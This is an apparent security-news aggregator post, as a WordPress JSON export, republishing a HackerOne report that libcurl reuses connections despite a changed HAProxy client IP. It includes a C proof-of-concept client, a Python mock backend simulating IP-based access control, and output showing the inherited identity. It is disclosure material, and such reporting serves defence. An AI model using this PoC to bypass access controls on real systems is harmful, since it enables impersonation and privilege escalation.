{"id":32534,"date":"2025-12-23T08:39:46","date_gmt":"2025-12-23T08:39:46","guid":{"rendered":"http:\/\/localhost\/?p=32534"},"modified":"2025-12-23T08:39:46","modified_gmt":"2025-12-23T08:39:46","slug":"curl-haproxy-connection-reuse-leads-to-ip-spoofing-and-mtls-context-smuggling","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32534","title":{"rendered":"curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-23T14:25:57&#8243;,&#8221;description&#8221;:&#8221;##Executive Summary\\n\\n`libcurl` fails to respect the `CURLOPT_HAPROXY_CLIENT_IP` configuration when reusing existing connections. Due to a missing check in the connection pooling logic, `libcurl` indiscriminately reuses a TCP\/TLS connection established with a specific identity (IP A) for subsequent requests requiring a different identity (IP B).\\n\\nSince the HAProxy PROXY protocol header is immutable and only sent during the initial connection handshake, the upstream server attributes the new request to the **previous identity**. This allows a low-privileged request to tunnel through a connection established by a high-privileged user, bypassing IP-based ACLs and inheriting the authenticated mTLS context of the previous session.\\n\\n## Technical Root Cause Analysis\\nThe vulnerability stems from an architectural omission introduced when `CURLOPT_HAPROXY_CLIENT_IP` was added in version 8.2.0.\\n\\n1.  **Missing State Storage (`lib\/urldata.h`):** The `struct connectdata` (which represents an active connection) does not store the `haproxy_client_ip` used at creation time. The identity information is ephemeral and lost immediately after the handshake.\\n2.  **Defective Matching Logic (`lib\/url.c`):** The `ConnectionExists()` function checks for host, port, protocol, and credentials (username\/password) matches but **ignores** `CURLOPT_HAPROXY_CLIENT_IP`. Since the connection structure doesn&#8217;t hold the old value, a comparison is impossible in the current architecture.\\n3.  **Violation of API Contract:** The documentation states the IP is sent \\&#8221;at the beginning of the connection\\&#8221;. By reusing a connection where the header was already sent with a different value, `libcurl` violates this contract.\\n\\n\\n##Affected version\\n\\ncurl -V\\nWARNING: this libcurl is Debug-enabled, do not use in production\\n\\ncurl 8.18.0-DEV (x86_64-pc-linux-gnu) libcurl\/8.18.0-DEV wolfSSL\/5.8.4 libidn2\/2.3.3 libpsl\/0.21.2 ngtcp2\/1.19.0-DEV nghttp3\/1.1\\nRelease-Date: [unreleased]\\nProtocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smtp smtps telnet tftp ws wss\\nFeatures: alt-svc AsynchDNS Debug HSTS HTTP3 HTTPS-proxy IDN IPv6 Largefile PSL SSL threadsafe TrackMemory UnixSockets\\n\\n\\n cat \/etc\/os-release\\nPRETTY_NAME=\\&#8221;Debian GNU\/Linux 12 (bookworm)\\&#8221;\\nNAME=\\&#8221;Debian GNU\/Linux\\&#8221;\\nVERSION_ID=\\&#8221;12\\&#8221;\\nVERSION=\\&#8221;12 (bookworm)\\&#8221;\\nVERSION_CODENAME=bookworm\\nID=debian\\nHOME_URL=\\&#8221;https:\/\/www.debian.org\/\\&#8221;\\nSUPPORT_URL=\\&#8221;https:\/\/www.debian.org\/support\\&#8221;\\nBUG_REPORT_URL=\\&#8221;https:\/\/bugs.debian.org\/\\&#8221;\\n\\n\\n## Proof of Concept \\n\\n### A. The Vulnerable Client (`poc.c`)\\n*Compile with:* `gcc -o poc poc.c -lcurl`\\n\\n&#8220;`c\\n\\n#include \\u003cstdio.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n#include \\u003cunistd.h\\u003e\\n\\nint main(void) {\\n  CURL *curl;\\n  CURLcode res;\\n\\n  curl_global_init(CURL_GLOBAL_ALL);\\n  curl = curl_easy_init();\\n\\n  if(curl) {\\n    printf(\\&#8221;&#8212; PoC: CRITICAL IDENTITY HIJACKING &#8212;\\\\n\\&#8221;);\\n\\n    \/\/ Configuration Commune\\n    curl_easy_setopt(curl, CURLOPT_URL, \\&#8221;http:\/\/127.0.0.1:8080\/\\&#8221;);\\n    curl_easy_setopt(curl, CURLOPT_HAPROXYPROTOCOL, 1L);\\n    curl_easy_setopt(curl, CURLOPT_TCP_KEEPALIVE, 1L); \/\/ Force Reuse\\n    curl_easy_setopt(curl, CURLOPT_VERBOSE, 0L);\\n\\n    \/\/ &#8212; PHASE 1 : TRANSACTION ADMIN &#8212;\\n    printf(\\&#8221;\\\\n[STEP 1] Executing ADMIN Transaction (IP: 10.0.0.1)&#8230;\\\\n\\&#8221;);\\n    curl_easy_setopt(curl, CURLOPT_HAPROXY_CLIENT_IP, \\&#8221;10.0.0.1\\&#8221;);\\n    \\n    res = curl_easy_perform(curl);\\n    if(res == CURLE_OK) printf(\\&#8221;-\\u003e Admin Request Sent.\\\\n\\&#8221;);\\n\\n    \/\/ Petite pause pour bien s\u00e9parer les logs visuellement\\n    sleep(1);\\n\\n    \/\/ &#8212; PHASE 2 : TRANSACTION GUEST (L&#8217;ATTAQUE) &#8212;\\n    printf(\\&#8221;\\\\n[STEP 2] Executing GUEST Transaction (IP: 66.66.66.66)&#8230;\\\\n\\&#8221;);\\n    printf(\\&#8221;EXPECTED: New Connection with Identity 66.66.66.66\\\\n\\&#8221;);\\n    printf(\\&#8221;ACTUAL:   Reuse Connection with Identity 10.0.0.1 (PRIVILEGE ESCALATION)\\\\n\\&#8221;);\\n    \\n    \/\/ Changement d&#8217;identit\u00e9 : CELA DEVRAIT FORCER UNE NOUVELLE CONNEXION\\n    curl_easy_setopt(curl, CURLOPT_HAPROXY_CLIENT_IP, \\&#8221;66.66.66.66\\&#8221;);\\n    \\n    res = curl_easy_perform(curl);\\n    if(res == CURLE_OK) printf(\\&#8221;-\\u003e Guest Request Sent.\\\\n\\&#8221;);\\n\\n    curl_easy_cleanup(curl);\\n  }\\n  curl_global_cleanup();\\n  return 0;\\n}\\n\\n&#8220;`\\n\\n### B. The Victim Server \\n\\n\\n&#8220;`python\\n\\n#!\/usr\/bin\/env python3\\nimport socket\\nimport sys\\nimport time\\n\\n# Configuration\\nHOST = &#8216;127.0.0.1&#8217;\\nPORT = 8080\\n\\ndef start_server():\\n    print(f\\&#8221;[*] BANK BACKEND listening on {HOST}:{PORT}\\&#8221;)\\n    print(\\&#8221;[*] Waiting for HAProxy connections&#8230;\\&#8221;)\\n    \\n    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n    server_socket.bind((HOST, PORT))\\n    server_socket.listen(5)\\n\\n    try:\\n        while True:\\n            client_sock, addr = server_socket.accept()\\n            print(f\\&#8221;\\\\n[+] NEW SECURE CHANNEL OPENED from {addr}\\&#8221;)\\n            \\n            # Identit\u00e9 de la connexion (Li\u00e9e au socket TCP)\\n            current_identity = \\&#8221;UNKNOWN\\&#8221;\\n            \\n            with client_sock:\\n                # Lecture initiale (Handshake)\\n                data = client_sock.recv(4096).decode(&#8216;utf-8&#8242;, errors=&#8217;ignore&#8217;)\\n                \\n                # Parsing de l&#8217;identit\u00e9 HAProxy (PROXY TCP4 IP_SRC &#8230;)\\n                if data.startswith(&#8216;PROXY&#8217;):\\n                    parts = data.split(&#8216; &#8216;)\\n                    if len(parts) \\u003e 2:\\n                        current_identity = parts[2] # L&#8217;IP source\\n                        print(f\\&#8221;    [SECURITY] PROXY HEADER RECEIVED. IDENTITY LOCKED: {current_identity}\\&#8221;)\\n                        \\n                        # Simulation ACL\\n                        if current_identity == \\&#8221;10.0.0.1\\&#8221;:\\n                            print(\\&#8221;    [ACL] ROLE: ADMIN (High Privilege)\\&#8221;)\\n                        else:\\n                            print(\\&#8221;    [ACL] ROLE: GUEST (Low Privilege)\\&#8221;)\\n                \\n                # R\u00e9ponse \u00e0 la 1\u00e8re requ\u00eate\\n                response = \\&#8221;HTTP\/1.1 200 OK\\\\r\\\\nContent-Length: 5\\\\r\\\\nConnection: keep-alive\\\\r\\\\n\\\\r\\\\nDONE\\\\n\\&#8221;\\n                client_sock.sendall(response.encode())\\n\\n                # &#8212; LA FAILLE : R\u00c9UTILISATION &#8212;\\n                # On attend une 2\u00e8me requ\u00eate sur le M\u00caME canal\\n                client_sock.settimeout(2.0)\\n                try:\\n                    while True:\\n                        data = client_sock.recv(4096)\\n                        if not data: break\\n                        \\n                        print(f\\&#8221;\\\\n    [!!!] NEW REQUEST RECEIVED ON EXISTING CHANNEL\\&#8221;)\\n                        print(f\\&#8221;    [!!!] CRITICAL: REUSING LOCKED IDENTITY: {current_identity}\\&#8221;)\\n                        \\n                        if current_identity == \\&#8221;10.0.0.1\\&#8221;:\\n                            print(\\&#8221;    [ACCESS CONTROL] ACTION AUTHORIZED (Inherited Admin Privileges)\\&#8221;)\\n                        else:\\n                            print(\\&#8221;    [ACCESS CONTROL] ACTION DENIED\\&#8221;)\\n                            \\n                        client_sock.sendall(response.encode())\\n                except socket.timeout:\\n                    print(\\&#8221;    [-] Connection idle.\\&#8221;)\\n\\n    except KeyboardInterrupt:\\n        print(\\&#8221;\\\\n[*] Stopping server.\\&#8221;)\\n    finally:\\n        server_socket.close()\\n\\nif __name__ == &#8216;__main__&#8217;:\\n    start_server()\\n\\n&#8220;`\\noutput : \\n\\n&#8220;`\\n python3 bank_server.py \\n[*] BANK BACKEND listening on 127.0.0.1:8080\\n[*] Waiting for HAProxy connections&#8230;\\n\\n[+] NEW SECURE CHANNEL OPENED from (&#8216;127.0.0.1&#8217;, 45200)\\n    [SECURITY] PROXY HEADER RECEIVED. IDENTITY LOCKED: 10.0.0.1\\n    [ACL] ROLE: ADMIN (High Privilege)\\n\\n    [!!!] NEW REQUEST RECEIVED ON EXISTING CHANNEL\\n    [!!!] CRITICAL: REUSING LOCKED IDENTITY: 10.0.0.1\\n    [ACCESS CONTROL] ACTION AUTHORIZED (Inherited Admin Privileges)\\n&#8220;`\\n\\n## Impact\\n\\n## Impact\\n\\n**1. IP-Based Access Control Bypass (ACLs)**\\n\\n**2. mTLS Context Smuggling **\\nIn architectures using Mutual TLS (mTLS), the client identity is bound to the underlying TCP\/TLS connection.\\nIf `libcurl` reuses a connection established with a high-privileged Client Certificate (e.g., Admin) for a subsequent request intended for a low-privileged context (e.g., Guest), the second request **inherits the authenticated TLS context** of the first. This allows a low-privileged user to tunnel requests through an authenticated session, effectively hijacking the previous user&#8217;s identity.\\n\\n**3. Audit Trail Corruption**\\nSecurity logs on the upstream server will incorrectly attribute malicious or unauthorized actions to the identity of the initial connection owner. \\n\\n**4. Violation of API Contract**\\nUsers explicitly setting `CURLOPT_HAPROXY_CLIENT_IP` expect `libcurl` to present that specific identity to the server. Ignoring this parameter during connection reuse silently violates the security expectations of the application developer.&#8221;,&#8221;published&#8221;:&#8221;2025-12-22T19:14:51&#8243;,&#8221;modified&#8221;:&#8221;2025-12-23T13:51:42&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3475613&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3475613&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-23T14:25:57&#8243;,&#8221;description&#8221;:&#8221;##Executive Summary\\n\\n`libcurl` fails to respect the `CURLOPT_HAPROXY_CLIENT_IP` configuration when reusing existing connections. Due to a missing check in the connection pooling logic, `libcurl` indiscriminately reuses&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-32534","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32534\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-23T14:25:57&#8243;,&#8221;description&#8221;:&#8221;##Executive Summarynn`libcurl` fails to respect the `CURLOPT_HAPROXY_CLIENT_IP` configuration when reusing existing connections. Due to a missing check in the connection pooling logic, `libcurl` indiscriminately reuses...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32534\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-23T08:39:46+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32534#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32534\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613\",\"datePublished\":\"2025-12-23T08:39:46+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32534\"},\"wordCount\":1317,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32534#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32534\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32534\",\"name\":\"curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-23T08:39:46+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32534#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32534\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32534#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32534","og_locale":"en_US","og_type":"article","og_title":"curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-23T14:25:57&#8243;,&#8221;description&#8221;:&#8221;##Executive Summarynn`libcurl` fails to respect the `CURLOPT_HAPROXY_CLIENT_IP` configuration when reusing existing connections. Due to a missing check in the connection pooling logic, `libcurl` indiscriminately reuses...","og_url":"https:\/\/zero.redgem.net\/?p=32534","og_site_name":"zero redgem","article_published_time":"2025-12-23T08:39:46+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32534#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32534"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613","datePublished":"2025-12-23T08:39:46+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32534"},"wordCount":1317,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32534#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32534","url":"https:\/\/zero.redgem.net\/?p=32534","name":"curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-23T08:39:46+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32534#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32534"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32534#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling_H1:3475613"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32534","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32534"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32534\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32534"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32534"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32534"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}